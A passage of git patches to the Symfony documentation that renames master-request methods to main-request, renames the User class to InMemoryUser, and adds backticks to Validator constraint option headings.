 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequestType`
-    Returns the *type* of the request (``HttpKernelInterface::MASTER_REQUEST``
+    Returns the *type* of the request (``HttpKernelInterface::MAIN_REQUEST``
     or ``HttpKernelInterface::SUB_REQUEST``).
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getKernel`
@@ -24,8 +24,8 @@ following information:
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequest`
     Returns the current ``Request`` being handled.
 
-:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-    Checks if this is a master request.
+:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+    Checks if this is a main request.
 
 .. _kernel-core-request:
 
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 3aa01ef0972..3bc9cb94d10 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -489,7 +489,7 @@ whenever the user browses a page::
         {
             $request = $event->getRequest();
             if (
-                !$event->isMasterRequest()
+                !$event->isMainRequest()
                 || $request->isXmlHttpRequest()
                 || 'app_login' === $request->attributes->get('_route')
             ) {
diff --git a/session.rst b/session.rst
index 5a3fb69c09b..0caba75894f 100644
--- a/session.rst
+++ b/session.rst
@@ -225,7 +225,7 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         public function createSession(): SessionInterface
         {
             return new Session(
-                $this->storageFactory->createStorage($this->requestStack->getMasterRequest()),
+                $this->storageFactory->createStorage($this->requestStack->getMainRequest()),
                 $this->sessionAttributes,
                 null,
                 $this->usageReporter

From dcb14d2989024578b2414761c5c9df15e798b3c3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 15:14:38 +0100
Subject: [PATCH 1984/7107] rename User to InMemoryUser

---
 components/security/authentication.rst |  6 +++---
 security/user_provider.rst             | 10 +++++-----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 8761e87915a..0b0e2d97f95 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -175,14 +175,14 @@ receives an array of encoders::
     use Acme\Entity\LegacyUser;
     use Symfony\Component\Security\Core\Encoder\EncoderFactory;
     use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder;
-    use Symfony\Component\Security\Core\User\User;
+    use Symfony\Component\Security\Core\User\InMemoryUser;
 
     $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000);
     $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1);
 
     $encoders = [
-        User::class       => $defaultEncoder,
-        LegacyUser::class => $weakEncoder,
+        InMemoryUser::class => $defaultEncoder,
+        LegacyUser::class   => $weakEncoder,
         // ...
     ];
     $encoderFactory = new EncoderFactory($encoders);
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 00e7c5a58d8..491eb57e256 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -138,7 +138,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
         public function loadUserByUsername(string $usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
-            
+
             return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
@@ -231,7 +231,7 @@ users will encode their passwords:
             # ...
             encoders:
                 # this internal class is used by Symfony to represent in-memory users
-                Symfony\Component\Security\Core\User\User: 'auto'
+                Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
 
     .. code-block:: xml
 
@@ -249,7 +249,7 @@ users will encode their passwords:
                 <!-- ... -->
 
                 <!-- this internal class is used by Symfony to represent in-memory users -->
-                <encoder class="Symfony\Component\Security\Core\User\User"
+                <encoder class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
             </config>
@@ -260,7 +260,7 @@ users will encode their passwords:
         // config/packages/security.php
 
         // this internal class is used by Symfony to represent in-memory users
-        use Symfony\Component\Security\Core\User\User;
+        use Symfony\Component\Security\Core\User\InMemoryUser;
 
         $container->loadFromExtension('security', [
             // ...
@@ -417,7 +417,7 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
-        
+
         /**
          * Upgrades the encoded password of a user, typically for using a better hash algorithm.
          */

From 1e6d1304681e4942adf30faf9987dc1051236948 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Sat, 27 Mar 2021 09:27:39 +0200
Subject: [PATCH 1985/7107] [Validator] Add missing backticks for constraint
 option names

---
 reference/constraints/Bic.rst                 |  16 +--
 reference/constraints/CardScheme.rst          |   8 +-
 reference/constraints/Choice.rst              |  36 +++---
 reference/constraints/Count.rst               |  20 ++--
 reference/constraints/DateTime.rst            |   4 +-
 reference/constraints/DivisibleBy.rst         |   4 +-
 reference/constraints/Email.rst               |  16 +--
 reference/constraints/Expression.rst          |   4 +-
 reference/constraints/File.rst                |  64 +++++------
 reference/constraints/Image.rst               | 108 +++++++++---------
 reference/constraints/Ip.rst                  |   8 +-
 reference/constraints/Isbn.rst                |  20 ++--
 reference/constraints/Issn.rst                |  12 +-
 reference/constraints/Json.rst                |   4 +-
 reference/constraints/Length.rst              |  28 ++---
 reference/constraints/Locale.rst              |   4 +-
 reference/constraints/Negative.rst            |   4 +-
 reference/constraints/NegativeOrZero.rst      |   4 +-
 reference/constraints/NotBlank.rst            |   4 +-
 .../constraints/NotCompromisedPassword.rst    |  12 +-
 reference/constraints/Positive.rst            |   4 +-
 reference/constraints/PositiveOrZero.rst      |   4 +-
 reference/constraints/Range.rst               |  32 +++---
 reference/constraints/Regex.rst               |  16 +--
 reference/constraints/Timezone.rst            |  16 +--
 reference/constraints/Type.rst                |   8 +-
 reference/constraints/Unique.rst              |   4 +-
 reference/constraints/UniqueEntity.rst        |  24 ++--
 reference/constraints/Url.rst                 |  20 ++--
 reference/constraints/Valid.rst               |   4 +-
 .../constraints/_normalizer-option.rst.inc    |   4 +-
 31 files changed, 258 insertions(+), 258 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 6496ae63d54..0d00fca6297 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -87,8 +87,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-iban
-~~~~
+``iban``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -98,8 +98,8 @@ iban
 
 An IBAN value to validate that its country code is the same as the BIC's one.
 
-ibanMessage
-~~~~~~~~~~~
+``ibanMessage``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This Business Identifier Code (BIC) is not associated with IBAN {{ iban }}.``
 
@@ -109,8 +109,8 @@ ibanMessage
 
 The default message supplied when the value does not pass the combined BIC/IBAN check.
 
-ibanPropertyPath
-~~~~~~~~~~~~~~~~
+``ibanPropertyPath``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -124,8 +124,8 @@ For example, if you want to compare the ``$bic`` property of some object
 with regard to the ``$iban`` property of the same object, use
 ``ibanPropertyPath="iban"`` in the comparison constraint of ``$bic``.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid Business Identifier Code (BIC).``
 
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 6362d9932ee..e8e2b744987 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -99,8 +99,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Unsupported card type or invalid card number.``
 
@@ -116,8 +116,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-schemes
-~~~~~~~
+``schemes``
+~~~~~~~~~~~
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index b1407c8add0..0e099053775 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -275,8 +275,8 @@ you can pass the class name and the method as an array.
 Available Options
 -----------------
 
-callback
-~~~~~~~~
+``callback``
+~~~~~~~~~~~~
 
 **type**: ``string|array|Closure``
 
@@ -284,8 +284,8 @@ This is a callback method that can be used instead of the `choices`_ option
 to return the choices array. See
 `Supplying the Choices with a Callback Function`_ for details on its usage.
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
@@ -295,8 +295,8 @@ will be matched against this array.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -305,8 +305,8 @@ to force no more than XX number of values to be selected. For example, if
 ``max`` is 3, but the input array contains 4 valid items, the validation
 will fail.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at most {{ limit }} choices.``
 
@@ -326,8 +326,8 @@ Parameter          Description
 
     The ``{{ choices }}`` parameter was introduced in Symfony 4.3.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value you selected is not a valid choice.``
 
@@ -344,8 +344,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -354,8 +354,8 @@ to force at least XX number of values to be selected. For example, if
 ``min`` is 3, but the input array only contains 2 valid items, the validation
 will fail.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at least {{ limit }} choices.``
 
@@ -375,8 +375,8 @@ Parameter          Description
 
     The ``{{ choices }}`` parameter was introduced in Symfony 4.3.
 
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -385,8 +385,8 @@ of a single, scalar value. The constraint will check that each value of
 the input array can be found in the array of valid choices. If even one
 of the input values cannot be found, the validation will fail.
 
-multipleMessage
-~~~~~~~~~~~~~~~
+``multipleMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``One or more of the given values is invalid.``
 
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 2ff99b5adbb..dbbe94b480a 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -101,8 +101,8 @@ you might add the following:
 Options
 -------
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain exactly {{ limit }} elements.``
 
@@ -120,8 +120,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -130,8 +130,8 @@ collection elements count is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or less.``
 
@@ -147,8 +147,8 @@ Parameter        Description
 ``{{ limit }}``  The upper limit
 ===============  ==============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -157,8 +157,8 @@ collection elements count is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or more.``
 
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 41b4db2acc0..c3a9c328932 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -84,8 +84,8 @@ Basic Usage
 Options
 -------
 
-format
-~~~~~~
+``format``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Y-m-d H:i:s``
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index f4ae78ab0f8..73b0a9c88b6 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -104,8 +104,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a multiple of {{ compared_value }}.``
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 5b149f0bf5f..5cbeaeb4523 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -92,8 +92,8 @@ Basic Usage
 Options
 -------
 
-checkHost
-~~~~~~~~~
+``checkHost``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -105,8 +105,8 @@ If true, then the :phpfunction:`checkdnsrr` PHP function will be used to
 check the validity of the MX *or* the A *or* the AAAA record of the host
 of the given email.
 
-checkMX
-~~~~~~~
+``checkMX``
+~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -124,8 +124,8 @@ check the validity of the MX record of the host of the given email.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid email address.``
 
@@ -139,8 +139,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-mode
-~~~~
+``mode``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``loose``
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index f3af00f1d3a..fbcbfc9c2b2 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -264,8 +264,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-values
-~~~~~~
+``values``
+~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index a865349f913..bc93caf83d1 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -158,8 +158,8 @@ have been specified.
 Options
 -------
 
-binaryFormat
-~~~~~~~~~~~~
+``binaryFormat``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -171,8 +171,8 @@ the value defined in the ``maxSize`` option.
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-disallowEmptyMessage
-~~~~~~~~~~~~~~~~~~~~
+``disallowEmptyMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``An empty file is not allowed.``
 
@@ -190,8 +190,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxSize
-~~~~~~~
+``maxSize``
+~~~~~~~~~~~
 
 **type**: ``mixed``
 
@@ -212,8 +212,8 @@ Suffix  Unit Name  Value            Example
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-maxSizeMessage
-~~~~~~~~~~~~~~
+``maxSizeMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large ({{ size }} {{ suffix }}). Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -231,8 +231,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string``
 
@@ -256,8 +256,8 @@ You can find a list of existing mime types on the `IANA website`_.
 
         This feature was introduced in Symfony 4.4.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
@@ -275,8 +275,8 @@ Parameter        Description
 ``{{ types }}``  The list of allowed MIME types
 ===============  ==============================================================
 
-notFoundMessage
-~~~~~~~~~~~~~~~
+``notFoundMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be found.``
 
@@ -292,8 +292,8 @@ Parameter        Description
 ``{{ file }}``   Absolute file path
 ===============  ==============================================================
 
-notReadableMessage
-~~~~~~~~~~~~~~~~~~
+``notReadableMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is not readable.``
 
@@ -310,8 +310,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-uploadCantWriteErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadCantWriteErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Cannot write temporary file to disk.``
 
@@ -320,8 +320,8 @@ temporary folder.
 
 This message has no parameters.
 
-uploadErrorMessage
-~~~~~~~~~~~~~~~~~~
+``uploadErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be uploaded.``
 
@@ -330,8 +330,8 @@ for some unknown reason.
 
 This message has no parameters.
 
-uploadExtensionErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadExtensionErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``A PHP extension caused the upload to fail.``
 
@@ -340,8 +340,8 @@ fail.
 
 This message has no parameters.
 
-uploadFormSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadFormSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large.``
 
@@ -350,8 +350,8 @@ by the HTML file input field.
 
 This message has no parameters.
 
-uploadIniSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadIniSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large. Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -367,8 +367,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-uploadNoFileErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoFileErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No file was uploaded.``
 
@@ -376,8 +376,8 @@ The message that is displayed if no file was uploaded.
 
 This message has no parameters.
 
-uploadNoTmpDirErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoTmpDirErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No temporary folder was configured in php.ini.``
 
@@ -386,8 +386,8 @@ missing.
 
 This message has no parameters.
 
-uploadPartialErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadPartialErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file was only partially uploaded.``
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index e8b492bf4ae..8ab714db79b 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -230,15 +230,15 @@ This constraint shares all of its options with the :doc:`File </reference/constr
 constraint. It does, however, modify two of the default option values and
 add several other options.
 
-allowLandscape
-~~~~~~~~~~~~~~
+``allowLandscape``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be landscape oriented.
 
-allowLandscapeMessage
-~~~~~~~~~~~~~~~~~~~~~
+``allowLandscapeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is landscape oriented ({{ width }}x{{ height }}px).
 Landscape oriented images are not allowed``
@@ -254,15 +254,15 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowPortrait
-~~~~~~~~~~~~~
+``allowPortrait``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be portrait oriented.
 
-allowPortraitMessage
-~~~~~~~~~~~~~~~~~~~~
+``allowPortraitMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is portrait oriented ({{ width }}x{{ height }}px).
 Portrait oriented images are not allowed``
@@ -278,8 +278,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowSquare
-~~~~~~~~~~~
+``allowSquare``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
@@ -287,8 +287,8 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
-allowSquareMessage
-~~~~~~~~~~~~~~~~~~
+``allowSquareMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is square ({{ width }}x{{ height }}px).
 Square images are not allowed``
@@ -304,8 +304,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-corruptedMessage
-~~~~~~~~~~~~~~~~
+``corruptedMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image file is corrupted.``
 
@@ -314,8 +314,8 @@ is corrupted.
 
 This message has no parameters.
 
-detectCorrupted
-~~~~~~~~~~~~~~~
+``detectCorrupted``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -325,16 +325,16 @@ function, which requires the `PHP GD extension`_ to be enabled.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxHeight
-~~~~~~~~~
+``maxHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be less than or equal to this
 value in pixels.
 
-maxHeightMessage
-~~~~~~~~~~~~~~~~
+``maxHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too big ({{ height }}px).
 Allowed maximum height is {{ max_height }}px.``
@@ -350,16 +350,16 @@ Parameter             Description
 ``{{ max_height }}``  The maximum allowed height
 ====================  =========================================================
 
-maxPixels
-~~~~~~~~~
+``maxPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be less than or equal to this
 value.
 
-maxPixelsMessage
-~~~~~~~~~~~~~~~~
+``maxPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels).
 Maximum amount expected is {{ max_pixels }} pixels.``
@@ -377,16 +377,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-maxRatio
-~~~~~~~~
+``maxRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
-maxRatioMessage
-~~~~~~~~~~~~~~~
+``maxRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too big ({{ ratio }}).
 Allowed maximum ratio is {{ max_ratio }}``
@@ -402,16 +402,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-maxWidth
-~~~~~~~~
+``maxWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be less than or equal to this
 value in pixels.
 
-maxWidthMessage
-~~~~~~~~~~~~~~~
+``maxWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too big ({{ width }}px).
 Allowed maximum width is {{ max_width }}px.``
@@ -427,28 +427,28 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string`` **default**: ``image/*``
 
 You can find a list of existing image mime types on the `IANA website`_.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-minHeight
-~~~~~~~~~
+``minHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be greater than or equal to this
 value in pixels.
 
-minHeightMessage
-~~~~~~~~~~~~~~~~
+``minHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too small ({{ height }}px).
 Minimum height expected is {{ min_height }}px.``
@@ -464,16 +464,16 @@ Parameter             Description
 ``{{ min_height }}``  The minimum required height
 ====================  =========================================================
 
-minPixels
-~~~~~~~~~
+``minPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be greater than or equal to this
 value.
 
-minPixelsMessage
-~~~~~~~~~~~~~~~~
+``minPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has too few pixels ({{ pixels }} pixels).
 Minimum amount expected is {{ min_pixels }} pixels.``
@@ -491,16 +491,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-minRatio
-~~~~~~~~
+``minRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
-minRatioMessage
-~~~~~~~~~~~~~~~
+``minRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too small ({{ ratio }}).
 Minimum ratio expected is {{ min_ratio }}``
@@ -516,16 +516,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-minWidth
-~~~~~~~~
+``minWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be greater than or equal to this
 value in pixels.
 
-minWidthMessage
-~~~~~~~~~~~~~~~
+``minWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too small ({{ width }}px).
 Minimum width expected is {{ min_width }}px.``
@@ -541,8 +541,8 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-sizeNotDetectedMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``sizeNotDetectedMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The size of the image could not be detected.``
 
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 60865c024bc..daf84496fe8 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -82,8 +82,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid IP address.``
 
@@ -101,8 +101,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-version
-~~~~~~~
+``version``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``4``
 
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 2820fce0052..d67f0605144 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -95,8 +95,8 @@ on an object that will contain an ISBN.
 Available Options
 -----------------
 
-bothIsbnMessage
-~~~~~~~~~~~~~~~
+``bothIsbnMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is neither a valid ISBN-10 nor a valid ISBN-13.``
 
@@ -113,8 +113,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-isbn10Message
-~~~~~~~~~~~~~
+``isbn10Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-10.``
 
@@ -129,8 +129,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-isbn13Message
-~~~~~~~~~~~~~
+``isbn13Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-13.``
 
@@ -145,8 +145,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -163,8 +163,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 374cc7d2751..87c9468ac12 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -79,8 +79,8 @@ Basic Usage
 Options
 -------
 
-caseSensitive
-~~~~~~~~~~~~~
+``caseSensitive``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
@@ -89,8 +89,8 @@ When switching this to ``true``, the validator requires an upper case 'X'.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` default: ``This value is not a valid ISSN.``
 
@@ -106,8 +106,8 @@ Parameter        Description
 
